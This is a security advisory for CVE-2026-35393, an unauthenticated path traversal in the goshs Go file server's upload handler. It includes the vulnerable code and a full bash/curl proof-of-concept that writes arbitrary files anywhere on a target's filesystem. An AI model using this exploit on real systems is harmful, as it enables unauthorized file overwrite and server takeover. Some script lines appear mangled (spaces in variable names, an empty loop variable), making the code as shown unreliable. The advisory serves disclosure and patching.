PT-2026-30022 · Go · Github.Com/Patrickhener/Goshs

Published

2026-04-03

·

Updated

2026-04-03

·

CVE-2026-35393

CVSS v3.1

9.8

Critical

AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

  • POST multipart upload directory not sanitized | httpserver/updown.go:71-174
This finding affect the default configuration, no flags or authentication required.

Details

File: httpserver/updown.go:71-174 Trigger: POST /<path>/upload (server.go:49-51 checks HasSuffix(r.URL.Path, "/upload"))
The filename is sanitized (slashes stripped, line 105-106), but the target directory comes from req.URL.Path unsanitized:
upath := req.URL.Path               // unsanitized

targetpath := strings.Split(upath, "/")
targetpath = targetpath[:len(targetpath)-1]     // strips trailing "upload"
target := strings.Join(targetpath, "/")

filenameSlice := strings.Split(part.FileName(), "/")
filenameClean := filenameSlice[len(filenameSlice)-1] // filename sanitized

finalPath := fmt.Sprintf("%s%s/%s", fs.UploadFolder, target, filenameClean)
The route requires the URL to end with /upload. An attacker uses a path like /../../target dir/upload, the suffix satisfies routing, and the ../.. escapes the webroot. The filename on disk is controlled by the attacker via the multipart filename field (after basename extraction).
Impact: Unauthenticated arbitrary file write to any existing directory on the filesystem.
PoCs:
#!/usr/bin/env bash
#
# Example:
#  ./arbitrary overwrite2.sh 10.0.0.5 8080

set -euo pipefail

HOST="${1:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
PORT="${2:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
LOCAL FILE="${3:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
TARGET="${4:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"

if [ ! -f "$LOCAL FILE" ]; then
  echo "[-] Local file not found: $LOCAL FILE"
  exit 1
fi

# Split target into directory and filename.
# The server builds: finalPath = UploadFolder + <dir from URL> + "/" + <upload filename>
# So we put the target's dirname in the URL and the target's basename as the upload filename.
TARGET DIR=$(dirname "$TARGET")
TARGET NAME=$(basename "$TARGET")

# 16 levels of %2e%2e/ (URL-encoded "..") to reach filesystem root.
# Encoding is required so curl does not resolve the traversal client-side.
TRAVERSAL=""
for  in $(seq 1 16); do
  TRAVERSAL="${TRAVERSAL}%2e%2e/"
done

# Strip leading / and build path ending with /upload
TARGET REL="${TARGET DIR#/}"
POST PATH="/${TRAVERSAL}${TARGET REL}/upload"

echo "[*] Source: ${LOCAL FILE}"
echo "[*] Target: ${TARGET}"
echo "[*] POST:  ${POST PATH}"
echo ""

HTTP CODE=$(curl -s -o /dev/null -w "%{http code}" 
  --path-as-is 
  -X POST 
  -F "file=@${LOCAL FILE};filename=${TARGET NAME}" 
  "http://${HOST}:${PORT}${POST PATH}")

echo "[*] HTTP ${HTTP CODE}"
echo "[*] File should now exist at ${TARGET} on the target."
To execute it: ./arbitrary overwrite2.sh 10.1.2.2 8000 ./canary /tmp/can

Recommendations

Checking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method return is called after every error response.

Fix

Path traversal

Weakness Enumeration

Related Identifiers

CVE-2026-35393
GHSA-JG56-WF8X-QRV5

Affected Products

Github.Com/Patrickhener/Goshs